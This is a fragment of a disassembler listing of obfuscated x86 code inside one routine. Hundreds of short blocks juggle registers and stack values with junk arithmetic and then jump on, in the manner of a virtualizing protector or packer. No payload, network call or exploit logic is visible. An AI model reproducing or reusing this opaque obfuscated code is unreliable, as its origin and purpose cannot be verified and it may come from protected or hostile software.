loc_585129:				; CODE XREF: sub_57DD3A+878Aj
		dec	ebx
		add	ebx, 40CD4FE8h
		push	eax
		mov	eax, 0FFFFFFFFh
		add	ebx, eax
		pop	eax
		push	esi
		mov	esi, 7DB1B3Bh
		shr	esi, 8
		jmp	loc_586CFF
; ---------------------------------------------------------------------------


loc_585147:				; CODE XREF: sub_57DD3A+EE38j
		or	ebp, 0F7B4F58h
		jmp	loc_584592
; ---------------------------------------------------------------------------


loc_585152:				; CODE XREF: sub_57DD3A+6F63j
		add	edi, ebp
		pop	ebp
		push	eax
		jmp	loc_588080
; ---------------------------------------------------------------------------


loc_58515B:				; CODE XREF: sub_57DD3A+F15Aj
		add	ebx, edi
		mov	edi, [esp+8Ch+var_8C]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+90h+var_90]
		pop	esp
		sub	ebx, eax
		sub	ebx, 593050B2h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+90h+var_90]
		jmp	loc_5886CA
; ---------------------------------------------------------------------------


loc_58518E:				; CODE XREF: sub_57DD3A+6713j
		pop	eax
		add	ecx, 5BCA0F72h
		push	ebx
		push	eax
		jmp	loc_58BF5D
; ---------------------------------------------------------------------------


loc_58519C:				; CODE XREF: sub_57DD3A+CFA9j
		xor	ebp, 40047391h
		jmp	loc_5837CC
; ---------------------------------------------------------------------------


loc_5851A7:				; CODE XREF: sub_57DD3A+EFDAj
		push	eax
		push	ebx
		mov	bl, 5Eh
		mov	ah, bl
		pop	ebx
		push	ecx
		mov	ch, 47h
		or	ah, ch
		pop	ecx
		neg	ah
		shl	ah, 6
		push	edx
		mov	dh, 1Ch
		sub	ah, dh
		pop	edx
		add	ah, 0DBh
		sub	cl, ah
		pop	eax
		shl	cl, 2
		not	cl
		shr	cl, 2
		inc	cl
		add	cl, 20h
		sub	al, 43h
		add	al, cl
		add	al, 43h
		pop	ecx
		push	ecx
		mov	cl, 0A4h
		shl	cl, 3
		jmp	loc_58A45D
; ---------------------------------------------------------------------------


loc_5851E4:				; CODE XREF: sub_57DD3A+EB09j
		mov	ebx, [esp+0BCh+var_BC]
		push	ebp
		jmp	loc_58CF01
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5833D3
; ---------------------------------------------------------------------------


loc_5851F3:				; CODE XREF: sub_57DD3A+E526j
		sub	[esp+0C0h+var_C0], 193A5BDDh
		jmp	loc_58D967
; ---------------------------------------------------------------------------


loc_5851FF:				; CODE XREF: sub_57DD3A+E3EFj
		add	esp, 4
		push	[esp+0BCh+var_BC]
		pop	edx
		add	esp, 4
		push	edx
		mov	dl, 60h
		shr	dl, 8
		jmp	loc_584BB8
; ---------------------------------------------------------------------------


loc_585214:				; CODE XREF: sub_57DD3A+A57Dj
		xor	ecx, 0B655F135h
		and	ecx, 6D0653AAh
		add	ecx, 96FBEFDAh
		sub	edi, 779756Fh
		jmp	loc_58D0CA
; ---------------------------------------------------------------------------


loc_585231:				; CODE XREF: sub_57DD3A+41BAj
		mov	ch, 32h
		shr	ch, 4
		xor	ch, 12h
		push	ebx
		mov	bh, 57h
		push	ecx
		mov	ch, 0Fh
		dec	ch
		add	ch, 6Bh
		add	ch, 56h
		jmp	loc_583332
; ---------------------------------------------------------------------------


loc_58524C:				; CODE XREF: sub_57DD3A+FF0Bj
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+7Ah+var_7C+2]
		xor	[esp+7Ah+var_7C+2], ebp
		jmp	loc_581A48
; ---------------------------------------------------------------------------


loc_585263:				; CODE XREF: sub_57DD3A+9447j
		add	ebp, 5C9CCB56h
		push	ebp
		mov	ebx, [esp+7Eh+var_80+2]
		add	esp, 4
		jmp	loc_58BD72
; ---------------------------------------------------------------------------


loc_585278:				; CODE XREF: sub_57DD3A+6E98j
		push	4C5A1BB6h
		mov	edx, [esp+82h+var_84+2]
		add	esp, 4
		jmp	loc_58A161
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+7Eh+var_80+2]
		sub	esp, 4
		mov	[esp+82h+var_84+2], ebp
		push	esp
		jmp	loc_586F20
; ---------------------------------------------------------------------------


loc_58529B:				; CODE XREF: sub_57DD3A+F220j
		add	eax, edx
		pop	edx
		mov	ebx, eax
		pop	eax
		jmp	loc_587AF6
; ---------------------------------------------------------------------------


loc_5852A6:				; CODE XREF: sub_57DD3A+9752j
		sub	ebp, 0FB55D3EBh
		jmp	loc_583C1C
; ---------------------------------------------------------------------------


loc_5852B1:				; CODE XREF: sub_57DD3A+7B51j
		mov	[esp+7Eh+var_80+2], eax
		pop	ebx
		pop	eax
		sub	edx, ebx
		mov	ebx, [esp+76h+var_78+2]
		jmp	loc_582C5D
; ---------------------------------------------------------------------------


loc_5852C0:				; CODE XREF: sub_57DD3A+B01Cj
		pop	ebp
		jmp	loc_58CB3E
; ---------------------------------------------------------------------------


loc_5852C6:				; CODE XREF: sub_57DD3A+A872j
		push	[esp+72h+var_74+2]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	ecx
		jmp	loc_58B25A
; ---------------------------------------------------------------------------


loc_5852E5:				; CODE XREF: sub_57DD3A+CF9Fj
		mov	[esp+72h+var_74+2], edx
		jmp	loc_58AE72
; ---------------------------------------------------------------------------


loc_5852ED:				; CODE XREF: sub_57DD3A+3E00j
		neg	bh
		dec	bh
		sub	bh, 1
		sub	bh, 32h
		sub	al, bh
		jmp	loc_589D13
; ---------------------------------------------------------------------------


loc_5852FE:				; CODE XREF: sub_57DD3A+9E1Aj
		push	eax
		mov	ah, 0DAh
		mov	ch, ah
		jmp	loc_58D523
; ---------------------------------------------------------------------------


loc_585308:				; CODE XREF: sub_57DD3A+C32Fj
		pop	esi
		jmp	loc_58D26A
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+76h+var_78+2]
		push	esi
		push	esp
		jmp	loc_58303D
; ---------------------------------------------------------------------------


loc_585319:				; CODE XREF: sub_57DD3A+91D9j
		shl	cl, 6
		dec	cl
		shr	cl, 6
		jmp	loc_5836CC
; ---------------------------------------------------------------------------


loc_585326:				; CODE XREF: sub_57DD3A+10207j
		mov	edx, [esp+7Eh+var_80+2]
		jmp	loc_58242F
; ---------------------------------------------------------------------------


loc_58532E:				; CODE XREF: sub_57DD3A+3FBFj
		xor	edi, [esp+8Ch+var_8C]
		jmp	loc_584E4C
; ---------------------------------------------------------------------------


loc_585336:				; CODE XREF: sub_57DD3A+F438j
		mov	[esp+8Ch+var_8C], edi
		mov	edi, 0CFB5CD06h
		xor	ebp, edi
		pop	edi
		mov	ebx, ebp
		jmp	loc_5840C1
; ---------------------------------------------------------------------------


loc_585348:				; CODE XREF: sub_57DD3A+F6E7j
		pop	edi
		neg	esi
		xor	esi, 26C7B543h
		push	esi
		jmp	loc_587F03
; ---------------------------------------------------------------------------


loc_585357:				; CODE XREF: sub_57DD3A+69A2j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0BCh+var_BC]
		mov	esp, [esp+0BCh+var_BC]
		mov	[esp+0BCh+var_BC], esi
		push	esp
		mov	esi, [esp+0C0h+var_C0]
		add	esp, 4
		add	esi, 4
		push	ebx
		mov	ebx, 2
		jmp	loc_5837D7
; ---------------------------------------------------------------------------


loc_585384:				; CODE XREF: sub_57DD3A+CA60j
		or	eax, eax
		jz	loc_58CB1C
		push	dword ptr [edi+1Ch]
		push	edx
		mov	edx, 5FCE578Bh
		jmp	loc_5850A0
; ---------------------------------------------------------------------------


loc_58539A:				; CODE XREF: sub_57DD3A+91FBj
		xor	dl, ah
		pop	eax
		or	dl, 0C9h
		shr	dl, 1
		dec	dl
		xor	dl, 0AEh
		mov	ch, dl
		jmp	loc_588E0D
; ---------------------------------------------------------------------------


loc_5853AE:				; CODE XREF: sub_57DD3A+F787j
		add	ebx, 71B6331Dh
		shr	ebx, 5
		dec	ebx
		jmp	loc_58B071
; ---------------------------------------------------------------------------


loc_5853BD:				; CODE XREF: sub_57DD3A+72CBj
		pop	esp
		mov	[esp+72h+var_74+2], ebp
		sub	esp, 4
		mov	[esp+76h+var_78+2], esp
		add	[esp+76h+var_78+2], 4
		mov	ebp, [esp+76h+var_78+2]
		jmp	loc_586187
; ---------------------------------------------------------------------------


loc_5853D3:				; CODE XREF: sub_57DD3A+BE67j
		pop	edi
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+72h+var_74+2]
		mov	esp, [esp+72h+var_74+2]
		push	7EE4h
		mov	[esp+76h+var_78+2], ecx
		push	7C85h
		mov	[esp+7Ah+var_7C+2], eax
		mov	al, dl
		push	edx
		sub	esp, 4
		mov	[esp+82h+var_84+2], ecx
		mov	ch, al
		mov	dh, ch
		pop	ecx
		push	eax
		jmp	loc_58944B
; ---------------------------------------------------------------------------


loc_58540A:				; CODE XREF: sub_57DD3A+CCEFj
		shr	ebx, 4
		jmp	loc_58983B
; ---------------------------------------------------------------------------


loc_585412:				; CODE XREF: sub_57DD3A+FCD7j
		push	edi
		push	edx
		push	22B44E17h
		pop	edx
		xor	edx, 73D03087h
		or	edx, 60AB10CDh
		xor	edx, 41C7C14h
		jmp	loc_58BFD5
; ---------------------------------------------------------------------------


loc_585431:				; CODE XREF: sub_57DD3A+9CEDj
		or	ah, 0D6h
		push	cx
		mov	cl, 5Ch
		xor	ah, cl
		jmp	loc_58684E
; ---------------------------------------------------------------------------


loc_58543F:				; CODE XREF: sub_57DD3A+908Dj
		pop	edx
		sub	esi, eax
		pop	eax
		jmp	loc_58C484
; ---------------------------------------------------------------------------


loc_585448:				; CODE XREF: sub_57DD3A+79E3j
		push	41Dh
		mov	[esp+88h+var_88], esi
		mov	esi, esp
		add	esi, 4
		push	5DC5h
		mov	[esp+8Ch+var_8C], ebp
		mov	ebp, 50E759B6h
		or	ebp, 0A9F3937h
		inc	ebp
		shr	ebp, 6
		jmp	loc_584870
; ---------------------------------------------------------------------------


loc_585474:				; CODE XREF: sub_57DD3A+CA49j
		pop	ebx
		xor	ebp, [esp+88h+var_88]
		xor	[esp+88h+var_88], ebp
		xor	ebp, [esp+88h+var_88]
		jmp	loc_582E4F
; ---------------------------------------------------------------------------


loc_585483:				; CODE XREF: sub_57DD3A+9B33j
		mov	edi, 6AAE2428h
		mov	ebx, edi
		jmp	loc_58C265
; ---------------------------------------------------------------------------


loc_58548F:				; CODE XREF: sub_57DD3A+49E5j
		push	edx
		mov	edx, 22040EB4h
		shr	edx, 5
		sub	edx, 0DAA8B281h
		mov	esi, edx
		jmp	loc_586418
; ---------------------------------------------------------------------------


loc_5854A5:				; CODE XREF: sub_57DD3A+4493j
		mov	[esp+6Eh+var_70+2], ebx
		push	[esp+6Eh+var_70+2]
		mov	eax, [esp+72h+var_74+2]
		jmp	loc_58DF74
; ---------------------------------------------------------------------------


loc_5854B3:				; CODE XREF: sub_57DD3A+94FDj
		add	esp, 4
		or	ch, dl
		mov	edx, [esp+6Eh+var_70+2]
		jmp	loc_584771
; ---------------------------------------------------------------------------


loc_5854C0:				; CODE XREF: sub_57DD3A+B152j
		mov	ch, 97h
		jmp	loc_582F78
; ---------------------------------------------------------------------------


loc_5854C7:				; CODE XREF: sub_57DD3A+86D9j
		sub	al, 0BBh
		sub	al, bl
		add	al, 0BBh
		push	ecx
		mov	ch, 58h
		dec	ch
		push	ax
		mov	al, 3Eh
		xor	ch, al
		pop	ax
		add	al, ch
		jmp	loc_58DF0C
; ---------------------------------------------------------------------------


loc_5854E1:				; CODE XREF: sub_57DD3A+A31Dj
		add	bl, 46h
		mov	cl, bl
		mov	ebx, [esp+72h+var_74+2]
		add	esp, 4
		add	cl, 0FFh
		jmp	loc_583171
; ---------------------------------------------------------------------------


loc_5854F7:				; CODE XREF: sub_57DD3A+D916j
		mov	ax, word ptr [esp+6Eh+var_70+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp+76h+var_78+2], eax
		jmp	loc_58698D
; ---------------------------------------------------------------------------


loc_585512:				; CODE XREF: sub_57DD3A+90ECj
		xor	ebp, [esp+76h+var_78+2]
		xor	[esp+76h+var_78+2], ebp
		jmp	loc_583FF9
; ---------------------------------------------------------------------------


loc_58551D:				; CODE XREF: sub_57DD3A+D06Ej
		mov	[esp+76h+var_78+2], ebx
		push	[esp+76h+var_74+2]
		push	[esp+7Ah+var_7C+2]
		pop	ebx
		jmp	loc_58A579
; ---------------------------------------------------------------------------


loc_58552D:				; CODE XREF: sub_57DD3A+C7FAj
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, 613D6926h
		add	ecx, edi
		pop	edi
		jmp	loc_58C949
; ---------------------------------------------------------------------------


loc_58553F:				; CODE XREF: sub_57DD3A+F727j
		xor	ebp, 2A3C759Eh
		sub	ebp, 0C98F33E2h
		add	esi, ebp
		pop	ebp
		xor	esi, 53A42B72h
		push	eax
		mov	eax, 3D2168D6h
		add	eax, 37821AEAh
		sub	eax, 23FB58EAh
		neg	eax
		jmp	loc_5881FA
; ---------------------------------------------------------------------------


loc_58556B:				; CODE XREF: sub_57DD3A+934Fj
		mov	ebp, 4F1163C8h
		sub	ebp, 5B266141h
		jmp	loc_584D72
; ---------------------------------------------------------------------------


loc_58557B:				; CODE XREF: sub_57DD3A+3C69j
		pop	eax
		add	esp, 4
		jmp	loc_585DAC
; ---------------------------------------------------------------------------


loc_585584:				; CODE XREF: sub_57DD3A+4D58j
		add	eax, 4
		jmp	loc_589739
; ---------------------------------------------------------------------------


loc_58558E:				; CODE XREF: sub_57DD3A+DCDFj
		mov	esi, [esp+6Ch+var_6C]
		add	esp, 4
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_58953E
; ---------------------------------------------------------------------------


loc_5855A5:				; CODE XREF: sub_57DD3A+4DF9j
		sub	esp, 4
		mov	[esp+68h+var_68], ebp
		push	esi
		jmp	loc_589C44
; ---------------------------------------------------------------------------


loc_5855B1:				; CODE XREF: sub_57DD3A+B724j
		pop	ebx
		jmp	loc_586B6C
; ---------------------------------------------------------------------------


loc_5855B7:				; CODE XREF: sub_57DD3A+6A32j
		sub	ebx, edi
		pop	edi
		add	ebx, 59C0110Dh
		jmp	loc_582CEA
; ---------------------------------------------------------------------------


loc_5855C5:				; CODE XREF: sub_57DD3A+ED49j
		shl	edx, 1
		jmp	loc_588394
; ---------------------------------------------------------------------------


loc_5855CC:				; CODE XREF: sub_57DD3A+B881j
		mov	ebx, [esp+0C0h+var_C0]
		add	esp, 4
		add	al, dl
		add	al, 0D5h
		pop	dx
		sub	esp, 4
		mov	[esp+0BEh+var_C0+2], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, edi
		jmp	loc_588A6D
; ---------------------------------------------------------------------------


loc_5855F9:				; CODE XREF: sub_57DD3A+89B7j
		pop	edx
		jmp	loc_584794
; ---------------------------------------------------------------------------


loc_5855FF:				; CODE XREF: sub_57DD3A+94ADj
		pop	eax
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585608:				; CODE XREF: sub_57DD3A+A194j
		shr	word ptr [esp+96h+var_98+2], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585612:				; CODE XREF: sub_57DD3A+B6B1j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585617:				; CODE XREF: sub_57DD3A+CC66j
		pop	esi
		jmp	loc_58B600
; ---------------------------------------------------------------------------


loc_58561D:				; CODE XREF: sub_57DD3A+5110j
		push	3D26h
		jmp	loc_585F01
; ---------------------------------------------------------------------------


loc_585627:				; CODE XREF: sub_57DD3A+663Fj
		add	eax, 4
		push	6BC9h
		mov	[esp+0A0h+var_A0], esi
		mov	esi, 35C61106h
		or	esi, 32ED5CC3h
		push	ebx
		mov	ebx, 66323C37h
		xor	esi, ebx
		pop	ebx
		xor	esi, 51DD61F4h
		add	eax, esi
		mov	esi, [esp+0A0h+var_A0]
		add	esp, 4
		xor	eax, [esp+9Ch+var_9C]
		xor	[esp+9Ch+var_9C], eax
		jmp	loc_583F55
; ---------------------------------------------------------------------------


loc_585664:				; CODE XREF: sub_57DD3A+5B1Ej
		mov	[esp+0BCh+var_BC], ebp
		push	esp
		pop	ebp
		push	edx
		push	ebx
		push	92F660Dh
		pop	ebx
		sub	ebx, 5E942AA5h
		add	ebx, 5564C49Ch
		push	ebx
		pop	edx
		mov	ebx, [esp+0C4h+var_C4]
		add	esp, 4
		add	ebp, edx
		pop	edx
		push	eax
		push	ebp
		mov	ebp, 4
		push	ebp
		sub	[esp+0C8h+var_C8], 1A8710B6h
		pop	eax
		add	eax, 1A8710B6h
		jmp	loc_5843F4
; ---------------------------------------------------------------------------


loc_5856A5:				; CODE XREF: sub_57DD3A+AE49j
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+0C4h+var_C4], esi
		mov	esi, 42E73C05h
		jmp	loc_58C060
; ---------------------------------------------------------------------------
		push	[esp+0C4h+var_C4]
		pop	ecx
		push	edx
		jmp	loc_58AD41
; ---------------------------------------------------------------------------


loc_5856C2:				; CODE XREF: sub_57DD3A+5676j
		push	ebp
		mov	ebp, 0A300D5Dh
		add	ebp, 13570A0Eh
		push	ebp
		not	[esp+0DCh+var_DC]
		pop	ebp
		xor	ebp, 1BA832CCh
		dec	ebp
		sub	ebp, 0F9D0DA53h
		add	eax, ebp
		pop	ebp
		add	eax, 2
		xor	eax, [esp+0D4h+var_D4]
		xor	[esp+0D4h+var_D4], eax
		jmp	loc_58B001
; ---------------------------------------------------------------------------


loc_5856F3:				; CODE XREF: sub_57DD3A+7B9Aj
		shl	ch, 3
		jmp	loc_5845C6
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0D4h+var_D4]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_585049
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 30AD66CDh
		sub	eax, ebx
		push	edx
		jmp	loc_584B3A
; ---------------------------------------------------------------------------


loc_58571A:				; CODE XREF: sub_57DD3A+5EDDj
		mov	edx, [esp+7Ah+var_7C+2]
		jmp	loc_585448
; ---------------------------------------------------------------------------


loc_585722:				; CODE XREF: sub_57DD3A+AFF0j
		add	esp, 4
		push	ebp
		push	[esp+7Ah+var_78+2]
		pop	ebp
		pop	[esp+7Ah+var_7C+2]
		pop	esp
		mov	[esp+72h+var_74+2], edx
		push	eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585739:				; CODE XREF: sub_57DD3A+B063j
		sub	ebx, 198117Ah
		add	ebx, eax
		push	edx
		push	ebp
		mov	ebp, 830308Eh
		mov	edx, 692F5C0h
		add	edx, ebp
		mov	ebp, [esp+82h+var_84+2]
		add	esp, 4
		or	edx, 704311DDh
		jmp	loc_58768F
; ---------------------------------------------------------------------------


loc_585760:				; CODE XREF: sub_57DD3A+7C78j
		or	eax, ecx
		pop	ecx
		sub	eax, 26FD4F15h
		add	ebp, eax
		pop	eax
		jmp	loc_583CB8
; ---------------------------------------------------------------------------


loc_585770:				; CODE XREF: sub_57DD3A+E152j
		pop	eax
		mov	edx, [esp+72h+var_74+2]
		add	esp, 4
		jmp	loc_58B9DE
; ---------------------------------------------------------------------------


loc_58577C:				; CODE XREF: sub_57DD3A+88E0j
		mov	[esp+6Eh+var_70+2], esi
		push	esp
		pop	esi
		jmp	loc_584C0C
; ---------------------------------------------------------------------------


loc_585786:				; CODE XREF: sub_57DD3A+CA4Fj
		add	eax, esi
		pop	esi
		push	eax
		jmp	loc_582518
; ---------------------------------------------------------------------------


loc_58578F:				; CODE XREF: sub_57DD3A+C115j
		push	ebp
		jmp	loc_58CA07
; ---------------------------------------------------------------------------


loc_585795:				; CODE XREF: sub_57DD3A+B978j
		push	eax
		mov	eax, 4
		add	[esp+76h+var_74+2], eax
		pop	eax
		mov	edx, [esp+72h+var_74+2]
		jmp	loc_58D658
; ---------------------------------------------------------------------------


loc_5857A8:				; CODE XREF: sub_57DD3A+9B2Dj
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	edi
		push	ebx
		push	ebp
		mov	ebp, 435416CFh
		jmp	loc_58C825
; ---------------------------------------------------------------------------


loc_5857BD:				; CODE XREF: sub_57DD3A+D925j
		xchg	edi, ecx
		inc	edi
		xchg	edi, ecx
		add	ecx, 1AC87E71h
		jmp	loc_58A0FD
; ---------------------------------------------------------------------------


loc_5857CD:				; CODE XREF: sub_57DD3A+C753j
		mov	[esp+7Ah+var_7C+2], esi
		push	edx
		mov	edx, 5D3C4732h
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		jmp	loc_5827AA
; ---------------------------------------------------------------------------


loc_5857DF:				; CODE XREF: sub_57DD3A+A1C4j
		pop	cx
		sub	al, 0Ah
		add	al, dl
		add	al, 0Ah
		pop	edx
		push	5C3Eh
		mov	[esp+7Ch+var_7C], ecx
		mov	ch, 0A1h
		jmp	loc_5827CE
; ---------------------------------------------------------------------------


loc_5857F7:				; CODE XREF: sub_57DD3A+A01Dj
		push	22B8h
		mov	[esp+80h+var_80], esi
		push	24F5h
		mov	[esp+84h+var_84], ebx
		sub	[esp+84h+var_84], 56B24D25h
		pop	esi
		add	esi, 56B24D25h
		push	esi
		jmp	loc_582344
; ---------------------------------------------------------------------------


loc_58581B:				; CODE XREF: sub_57DD3A+D4DBj
		push	[esp+84h+var_80]
		pop	esi
		pop	[esp+84h+var_84]
		sub	esp, 4
		mov	[esp+84h+var_84], esi
		not	[esp+84h+var_84]
		mov	esi, [esp+84h+var_84]
		jmp	loc_588A9E
; ---------------------------------------------------------------------------


loc_585837:				; CODE XREF: sub_57DD3A+DEB5j
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp+80h+var_80]
		pop	esp
		jmp	loc_5840B2
; ---------------------------------------------------------------------------


loc_585846:				; CODE XREF: sub_57DD3A+60AFj
		mov	edx, 5A36252Dh
		or	edx, 290E5FBFh
		neg	edx
		add	edx, 16F27D4Eh
		sub	edx, 41491CA7h
		shr	edx, 3
		xor	edx, 44DC7CE9h
		and	esi, edx
		pop	edx
		jmp	loc_58B7A1
; ---------------------------------------------------------------------------


loc_585870:				; CODE XREF: sub_57DD3A+CFFCj
		mov	edi, [esp+0E0h+var_E0]
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp+0DCh+var_DC]
		pop	esp
		mov	[esp+0D8h+var_D8], eax
		mov	eax, 0C1829A3h
		sub	esp, 4
		jmp	loc_5852B1
; ---------------------------------------------------------------------------


loc_585890:				; CODE XREF: sub_57DD3A+CE32j
		add	eax, 3C0B7EAEh
		neg	eax
		sub	eax, 0B14D98B7h
		add	ebp, 0F935E9Ah
		jmp	loc_582D94
; ---------------------------------------------------------------------------


loc_5858A7:				; CODE XREF: sub_57DD3A+AD4Ej
		mov	eax, esp
		jmp	loc_58B21A
; ---------------------------------------------------------------------------


loc_5858AE:				; CODE XREF: sub_57DD3A+102A2j
		sub	edi, ebx
		pop	ebx
		mov	ecx, edi
		mov	edi, [esp+0D8h+var_D8]
		jmp	loc_589FB1
; ---------------------------------------------------------------------------


loc_5858BB:				; CODE XREF: sub_57DD3A+909Fj
		sub	eax, ebp
		jmp	loc_58326C
; ---------------------------------------------------------------------------


loc_5858C2:				; CODE XREF: sub_57DD3A+3C45j
		pop	eax
		jmp	loc_588352
; ---------------------------------------------------------------------------


loc_5858C8:				; CODE XREF: sub_57DD3A+B0DFj
		xor	ch, al
		push	[esp+5Ah+var_5C+2]
		pop	eax
		add	esp, 4
		jmp	loc_5856F3
; ---------------------------------------------------------------------------


loc_5858D9:				; CODE XREF: sub_57DD3A+E39Aj
		pop	esp
		push	2025h
		mov	[esp+56h+var_58+2], ebp
		jmp	loc_586F4C
; ---------------------------------------------------------------------------


loc_5858E7:				; CODE XREF: sub_57DD3A+D410j
		push	edx
		mov	dl, ah
		mov	bl, dl
		jmp	loc_58797E
; ---------------------------------------------------------------------------


loc_5858F1:				; CODE XREF: sub_57DD3A+47FEj
		pop	edx
		push	ebp
		push	edx
		push	2A3E052Eh
		mov	edx, [esp+0B0h+var_B0]
		add	esp, 4
		shl	edx, 3
		shr	edx, 3
		not	edx
		sub	edx, 0F5C1FACDh
		mov	ebp, edx
		mov	edx, [esp+0ACh+var_AC]
		add	esp, 4
		add	edi, ebp
		pop	ebp
		push	edi
		push	[esp+0A8h+var_A4]
		pop	edi
		pop	[esp+0A8h+var_A8]
		jmp	loc_58A799
; ---------------------------------------------------------------------------


loc_58592C:				; CODE XREF: sub_57DD3A+4489j
		not	edx
		shl	edx, 6
		xor	edx, 0F051145Eh
		sub	edi, edx
		pop	edx
		sub	ebx, edi
		mov	edi, [esp+66h+var_68+2]
		add	esp, 4
		push	ebp
		jmp	loc_582A11
; ---------------------------------------------------------------------------


loc_585948:				; CODE XREF: sub_57DD3A+A93Bj
		mov	eax, 2E59658Fh
		push	edx
		jmp	loc_58C178
; ---------------------------------------------------------------------------


loc_585953:				; CODE XREF: sub_57DD3A+F426j
		sub	ebx, ebp
		pop	ebp
		sub	eax, 2BE56FB5h
		sub	eax, ebx
		add	eax, 2BE56FB5h
		pop	ebx
		push	ecx
		mov	ecx, 5388FFFEh
		xor	eax, ecx
		pop	ecx
		jmp	loc_584857
; ---------------------------------------------------------------------------


loc_585971:				; CODE XREF: sub_57DD3A+C407j
		add	esp, 4
		sub	ebp, 18D21DE2h
		add	ebp, 73826680h
		push	eax
		mov	eax, 72851309h
		neg	eax
		jmp	loc_58AB69
; ---------------------------------------------------------------------------


loc_585990:				; CODE XREF: sub_57DD3A+B787j
		sub	edi, 16093B11h
		mov	esi, [esp+62h+var_64+2]
		jmp	loc_588CEF
; ---------------------------------------------------------------------------


loc_58599E:				; CODE XREF: sub_57DD3A+8459j
		mov	[esp+62h+var_64+2], eax
		mov	eax, 26C0711h
		push	ecx
		mov	ecx, 2A2206ECh
		xor	ecx, 0CF74AF5h
		jmp	loc_585760
; ---------------------------------------------------------------------------


loc_5859B7:				; CODE XREF: sub_57DD3A+F52Bj
		movzx	cx, ah
		push	small 3EABh
		jmp	loc_588B25
; ---------------------------------------------------------------------------


loc_5859C4:				; CODE XREF: sub_57DD3A+5A8Dj
		pop	edi
		push	[esp+0B8h+var_B8]
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_58A2B0
; ---------------------------------------------------------------------------


loc_5859D1:				; CODE XREF: sub_57DD3A+C6F5j
		add	esp, 4
		jmp	loc_582B99
; ---------------------------------------------------------------------------


loc_5859DC:				; CODE XREF: sub_57DD3A+8D37j
		shl	esi, 5
		shr	esi, 4
		push	esi
		not	[esp+0BCh+var_BC]
		jmp	loc_58DBF9
; ---------------------------------------------------------------------------


loc_5859EB:				; CODE XREF: sub_57DD3A+5920j
		sub	esp, 4
		mov	[esp+0A6h+var_A8+2], ebx
		jmp	loc_5849EB
; ---------------------------------------------------------------------------


loc_5859F9:				; CODE XREF: sub_57DD3A+ACE3j
		push	ecx
		mov	ecx, 5BC73141h
		push	edx
		mov	edx, 6AD11343h
		not	edx
		jmp	loc_583139
; ---------------------------------------------------------------------------


loc_585A0C:				; CODE XREF: sub_57DD3A+DDFAj
		mov	edx, [esp+0AEh+var_B0+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0B2h+var_B4+2]
		pop	esp
		xor	edx, ebx
		pop	ebx
		add	eax, edx
		pop	edx
		add	eax, 11C417D6h
		add	eax, ebx
		sub	eax, 11C417D6h
		push	esi
		mov	esi, 4F822A31h
		sub	eax, esi
		pop	esi
		jmp	loc_587722
; ---------------------------------------------------------------------------


loc_585A3E:				; CODE XREF: sub_57DD3A+E123j
		mov	ebx, 0D3E7EFEh
		push	ebp
		jmp	loc_58B9F1
; ---------------------------------------------------------------------------


loc_585A49:				; CODE XREF: sub_57DD3A+4F5Cj
		xor	[esp+90h+var_90], ebx
		xor	ebx, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		mov	[esp+90h+var_90], edi
		push	eax
		mov	eax, 1
		mov	edi, eax
		push	[esp+94h+var_94]
		pop	eax
		jmp	loc_58CA9D
; ---------------------------------------------------------------------------


loc_585A66:				; CODE XREF: sub_57DD3A+7EECj
		sub	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_58BC93
; ---------------------------------------------------------------------------


loc_585A6F:				; CODE XREF: sub_57DD3A+3F32j
		shl	edi, 8
		sub	edi, 395A1CFCh
		jmp	loc_585FBD
; ---------------------------------------------------------------------------


loc_585A7D:				; CODE XREF: sub_57DD3A+3E2Dj
		not	dh
		jmp	loc_58DDD5
; ---------------------------------------------------------------------------


loc_585A84:				; CODE XREF: sub_57DD3A+C372j
		pop	edx
		add	esp, 4
		jmp	loc_582B01
; ---------------------------------------------------------------------------


loc_585A8D:				; CODE XREF: sub_57DD3A+E021j
		push	ebp
		jmp	loc_581F90
; ---------------------------------------------------------------------------


loc_585A93:				; CODE XREF: sub_57DD3A+D091j
		add	esp, 4
		pop	[esp+72h+var_74+2]
		jmp	loc_589A18
; ---------------------------------------------------------------------------


loc_585A9E:				; CODE XREF: sub_57DD3A+B812j
		sub	esp, 4
		mov	[esp+72h+var_74+2], ebx
		jmp	loc_58B5EB
; ---------------------------------------------------------------------------


loc_585AA9:				; CODE XREF: sub_57DD3A+F9F7j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_585AAE:				; CODE XREF: sub_57DD3A+D0AFj
		mov	word ptr [esp+72h+var_74+2], dx
		mov	dx, 5D76h
		sub	cx, dx
		pop	dx
		add	ax, cx
		pop	ecx
		mov	bx, word ptr [esp+6Ch+var_6C]
		push	ecx
